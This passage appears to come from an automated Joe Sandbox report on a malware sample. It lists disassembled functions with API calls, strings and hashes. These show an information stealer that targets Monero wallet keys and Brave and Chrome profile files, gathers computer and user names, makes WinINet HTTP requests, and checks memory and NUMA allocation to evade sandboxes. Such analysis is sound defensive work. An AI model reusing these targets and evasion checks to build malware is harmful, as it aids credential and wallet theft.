Part of subcall function 00BF78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00BF7917
Part of subcall function 00BF78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00BF792F

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,009B8AD8,?,00C0110C,?,00000000,?,00C01110,?,00000000,00C00AEF), ref: 00BF6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BF6AE8
CloseHandle.KERNEL32(00000000), ref: 00BF6AF9
Sleep.KERNEL32(00001770), ref: 00BF6B04
CloseHandle.KERNEL32(?,00000000,?,009B8AD8,?,00C0110C,?,00000000,?,00C01110,?,00000000,00C00AEF), ref: 00BF6B1A
ExitProcess.KERNEL32 ref: 00BF6B22

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: b20eba3a73f77f7bff12d2f92c4531c3fdf9a76fab9cdb768da72ac69a77a7bf
Instruction ID: 5c634964045ff3733a115de38f21d9b92eeff5a52e8578650272e9abb87419f7
Opcode Fuzzy Hash: b20eba3a73f77f7bff12d2f92c4531c3fdf9a76fab9cdb768da72ac69a77a7bf
Instruction Fuzzy Hash: FB31FE7190010CABDB08FBA5DC56BFE77B8AF04340F1445A8F706B7191DFB05A09C6A6

Function 00BF6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,009B8AD8,?,00C0110C,?,00000000,?,00C01110,?,00000000,00C00AEF), ref: 00BF6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BF6AE8
CloseHandle.KERNEL32(00000000), ref: 00BF6AF9
Sleep.KERNEL32(00001770), ref: 00BF6B04
CloseHandle.KERNEL32(?,00000000,?,009B8AD8,?,00C0110C,?,00000000,?,00C01110,?,00000000,00C00AEF), ref: 00BF6B1A
ExitProcess.KERNEL32 ref: 00BF6B22

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 3c3951f322545e1641ce48d8d1055f6d0db2d6d61719c1aab4f443b7b85586af
Instruction ID: c74bcd563735bdf080d5854ef0a6850e126d515724da60c761857ddf114d233d
Opcode Fuzzy Hash: 3c3951f322545e1641ce48d8d1055f6d0db2d6d61719c1aab4f443b7b85586af
Instruction Fuzzy Hash: 55F03A7094020DAFE720ABA09C4ABBD7BB4EB04701F1445A5BB02A3182CBB0554DD656

Function 00BE47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00BE4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00BE4849

Strings

<, xrefs: 00BE47C9

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 0d340e99fd6236900a05f6c88afa455c1fcb9941a04a74914854c6aeb2e5d1ac
Instruction ID: e3fb29f28f2ef521790ff41134d96bae26004e33093fd8cba90bd75e2f1d4257
Opcode Fuzzy Hash: 0d340e99fd6236900a05f6c88afa455c1fcb9941a04a74914854c6aeb2e5d1ac
Instruction Fuzzy Hash: C52130B1D00209ABDF14DF55E849ADE7B75FB44310F108625F615A7280EB706609DB81

Function 00BF51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BFA7E6

Part of subcall function 00BE6280: InternetOpenA.WININET(00C00DFE,00000001,00000000,00000000,00000000), ref: 00BE62E1
Part of subcall function 00BE6280: StrCmpCA.SHLWAPI(?,009BF440), ref: 00BE6303
Part of subcall function 00BE6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BE6335
Part of subcall function 00BE6280: HttpOpenRequestA.WININET(00000000,GET,?,009BEC40,00000000,00000000,00400100,00000000), ref: 00BE6385
Part of subcall function 00BE6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00BE63BF
Part of subcall function 00BE6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00BE63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BF5228

Strings

ERROR, xrefs: 00BF5273
ERROR, xrefs: 00BF521A

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 1d53187ed6b3fc7938f25d7a84c9a93290fe863ba0756d177fce9fc41e51f5ba
Instruction ID: 2b41b291826ebd475a051846776977e3d237dfbd8480ce5a8702da72daf2f820
Opcode Fuzzy Hash: 1d53187ed6b3fc7938f25d7a84c9a93290fe863ba0756d177fce9fc41e51f5ba
Instruction Fuzzy Hash: 1E110D7090014CAACB18FB64DD52AFD73B8AF50340F5085A8FA0A5B192EF70AB0EC691

Function 00BE1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00BE123E
ExitProcess.KERNEL32 ref: 00BE1294

Strings

@, xrefs: 00BE1233

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: 2e179455a7766d41a22f812da629b8083da9a4a85753a65226ddbdf31f7c394f
Instruction ID: 04ae77499852a5e8aa599eac4d6a51822de22c17ef34ee12525b0ae50e35b502
Opcode Fuzzy Hash: 2e179455a7766d41a22f812da629b8083da9a4a85753a65226ddbdf31f7c394f
Instruction Fuzzy Hash: 45014FB094034CABDB10DFD9CC49BADB7B8AB14701F248494E705B6180D7B455458759

Function 00BE1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00BE112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00BE1132
ExitProcess.KERNEL32 ref: 00BE1143

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 28e6989673a9f04bbcb4631d559bacc011c71a47ea0a507a3e49f91c989cd150
Instruction ID: 4231900304e1c875de07c3a8a651b71811f68debbe54421d9c4b11461fa596fa
Opcode Fuzzy Hash: 28e6989673a9f04bbcb4631d559bacc011c71a47ea0a507a3e49f91c989cd150
Instruction Fuzzy Hash: A5E08670945348FFE7246BA69C0EB0C76B8EB04B01F200094F709B61C0C7B42605969A

Function 00BE10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00BE10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00BE10F7

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: e0b99fa96fb0973335892f9f2f16afb9624291e27c0935fd9c3125fcd17c77ab
Instruction ID: 28d3d31b468d16b065a7cba73cd31946878ac51d00f9d3868f1dbb0dc15d8d25
Opcode Fuzzy Hash: e0b99fa96fb0973335892f9f2f16afb9624291e27c0935fd9c3125fcd17c77ab
Instruction Fuzzy Hash: FEF02771641308BBEB149BA9AC49FBFB7ECE705B15F301898F604E3280D6719F04DAA4

Function 00BE1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00BF78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BF7910
Part of subcall function 00BF78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00BF7917
Part of subcall function 00BF78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00BF792F

Part of subcall function 00BF7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00BE11B7), ref: 00BF7880
Part of subcall function 00BF7850: RtlAllocateHeap.NTDLL(00000000), ref: 00BF7887
Part of subcall function 00BF7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00BF789F

ExitProcess.KERNEL32 ref: 00BE11C6

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: fa8b95954369f1ad304ddb780fc0ba377ad4004180618a705e4410e8677077ec
Instruction ID: c8a92416889e5c216db60edfbbff8d17ad00825e4684e9c292f50f0bc8d5665c
Opcode Fuzzy Hash: fa8b95954369f1ad304ddb780fc0ba377ad4004180618a705e4410e8677077ec
Instruction Fuzzy Hash: B2E012B595430957CE1477B7AC0AB3A32DC9B14385F1C08B9FB05E3202FF39E829856A

Non-executed Functions

Function 00BF38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00BF38CC
FindFirstFileA.KERNEL32(?,?), ref: 00BF38E3
lstrcat.KERNEL32(?,?), ref: 00BF3935
StrCmpCA.SHLWAPI(?,00C00F70), ref: 00BF3947
StrCmpCA.SHLWAPI(?,00C00F74), ref: 00BF395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00BF3C67
FindClose.KERNEL32(000000FF), ref: 00BF3C7C

Strings

%s\*, xrefs: 00BF38C0
%s\%s, xrefs: 00BF397A
%s\%s, xrefs: 00BF3A6F
%s\%s\%s, xrefs: 00BF3A4A
%s%s, xrefs: 00BF3AAD

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: e682b631011b50d17e71b4929ad7c0163e5ba571521f743660660e9b9edafaaf
Instruction ID: d6150970a3b7ab5dce7b40b5cd07fac6dc17f74800472fc30479aed30ac7dbb9
Opcode Fuzzy Hash: e682b631011b50d17e71b4929ad7c0163e5ba571521f743660660e9b9edafaaf
Instruction Fuzzy Hash: 34A11DB19002089FDB34DBA5DC85FFA73B8BB58700F084598A609A7141EB759B89CF62

Function 00BEBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

FindFirstFileA.KERNEL32(00000000,?,00C00B32,00C00B2B,00000000,?,?,?,00C013F4,00C00B2A), ref: 00BEBEF5
StrCmpCA.SHLWAPI(?,00C013F8), ref: 00BEBF4D
StrCmpCA.SHLWAPI(?,00C013FC), ref: 00BEBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00BEC7BF
FindClose.KERNEL32(000000FF), ref: 00BEC7D1

Strings

\Brave\Preferences, xrefs: 00BEC1DB
Brave, xrefs: 00BEC102
Google Chrome, xrefs: 00BEC634
Preferences, xrefs: 00BEC11E

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 6d7be6224877a19a943287e28b584f9f3a2f71c1cbbfaa27577c0300db77f07d
Instruction ID: db036f8f077ea223b893caef287bd354282f7b4a0707f61f910e32d96318cf71
Opcode Fuzzy Hash: 6d7be6224877a19a943287e28b584f9f3a2f71c1cbbfaa27577c0300db77f07d
Instruction Fuzzy Hash: 024226B15101089BCB18FB64DD56EFD73BDAB54300F4085A8BA0AA7191EF74AF4DCB92

Function 00BF4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00BF492C
FindFirstFileA.KERNEL32(?,?), ref: 00BF4943
StrCmpCA.SHLWAPI(?,00C00FDC), ref: 00BF4971
